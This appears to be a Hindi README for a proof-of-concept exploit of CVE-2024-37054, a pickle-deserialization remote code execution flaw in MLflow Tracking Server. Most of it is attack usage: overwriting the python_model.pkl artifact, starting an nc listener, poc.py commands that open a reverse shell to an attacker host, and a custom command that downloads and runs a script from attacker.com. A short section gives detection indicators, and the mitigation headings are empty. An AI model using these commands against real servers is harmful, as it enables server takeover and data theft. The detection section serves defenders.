
CVE-2024-37054 के लिए प्रमाण-अवधारणा शोषण, MLflow ट्रैकिंग सर्वर में अचार डीसेरिएलाइज़ेशन RCE। प्रमाणित हमलावर दूरस्थ कोड निष्पादन प्राप्त करने के लिए मॉडल कलाकृतियों को अधिलेखित कर सकते हैं। पहचान और शमन मार्गदर्शन शामिल है।
MLflow Tracking Server में एक महत्वपूर्ण पिकल डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्रमाणित रिमोट कोड निष्पादन को सक्षम करता है।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2024-37054 |
| CVSS स्कोर | 8.8 (HIGH) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित संस्करण | MLflow < 2.14.3 |
| पैच किया गया संस्करण | MLflow ≥ 2.14.3 |
| भेद्यता प्रकार | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| आक्रमण वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | निम्न (मान्य क्रेडेंशियल्स) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
MLflow Tracking Server, मॉडल को अनुमान के लिए लोड करते समय पायथन के pickle मॉड्यूल के माध्यम से मॉडल आर्टिफैक्ट्स को डिसीरियलाइज़ करता है। एक प्रमाणित हमलावर MLflow के आर्टिफैक्ट रिपॉजिटरी में python_model.pkl आर्टिफैक्ट को एक दुर्भावनापूर्ण पिकल पेलोड के साथ अधिलेखित कर सकता है। जब मॉडल को बाद में लोड किया जाता है (जैसे, एक पूर्वानुमान अनुरोध के दौरान), तो पेलोड डिसीरियलाइज़ हो जाता है, जिससे सर्वर पर मनमाना कोड निष्पादित होता है।
शोषण के लिए पूर्वापेक्षाएँ:
सफल शोषण से MLflow सर्वर प्रक्रिया के विशेषाधिकार स्तर पर रिमोट कोड निष्पादन होता है, जिससे पूर्ण सिस्टम समझौता, डेटा बहिर्गमन, पार्श्व गति, या स्थायी पहुंच हो सकती है।
python_model.pkl आर्टिफैक्ट को PUT /api/2.0/mlflow-artifacts/artifacts/... के माध्यम से एक तैयार पिकल पेलोड से बदल दिया जाता है।pickle.load() को कॉल करता है।__reduce__ विधि os.system() को लागू करती है, जो हमलावर के कमांड को निष्पादित करती है।पेलोड os.system() (एक C बिल्ट-इन) का उपयोग करता है, न कि cloudpickle का, ताकि क्रॉस-वर्जन संगतता को अधिकतम किया जा सके और पायथन संस्करण-विशिष्ट बाइटकोड समस्याओं से बचा जा सके।
आवश्यकताएँ: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# एक लिसनर शुरू करें
nc -lvnp 4444
# एक्सप्लॉइट चलाएं
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| तर्क | विवरण |
|---|---|
target | लक्ष्य एप्लिकेशन URL |
mlflow | MLflow Tracking Server URL |
lhost | रिवर्स शेल कॉलबैक के लिए हमलावर होस्ट |
lport | रिवर्स शेल कॉलबैक के लिए हमलावर पोर्ट |
--mlflow-creds USER:PASS | MLflow क्रेडेंशियल्स (डिफ़ॉल्ट: admin:password) |
--app-username | एप्लिकेशन लॉगिन उपयोगकर्ता नाम |
--app-password | एप्लिकेशन लॉगिन पासवर्ड |
--app-login-url | लॉगिन एंडपॉइंट पथ |
--upload-url | अपलोड एंडपॉइंट पथ |
--predict-url | पूर्वानुमान एंडपॉइंट पथ |
--experiment-id ID | एक विशिष्ट प्रयोग ID लक्षित करें |
--delay SECONDS | चरणों के बीच विलंब (डिफ़ॉल्ट: 2s) |
--cmd COMMAND | निष्पादित करने के लिए कस्टम कमांड |
--verbose / --quiet | वर्बोसिटी नियंत्रण |
--no-color | रंगीन आउटपुट अक्षम करें |
/api/2.0/mlflow-artifacts/artifacts/ एंडपॉइंट पर PUT अनुरोधpython_model.pkl पर अप्रत्याशित संशोधन टाइमस्टैम्पPOST /api/2.0/mlflow/runs/search के तुरंत बाद आर्टिफैक्ट संशोधनos.system() कॉल# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
तत्काल:
दीर्घकालिक:
यह उपकरण केवल निम्नलिखित के लिए अभिप्रेत है:
इस उपकरण का उपयोग किसी भी ऐसे सिस्टम पर न करें जिसके आप मालिक नहीं हैं या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
MIT — विवरण के लिए LICENSE देखें।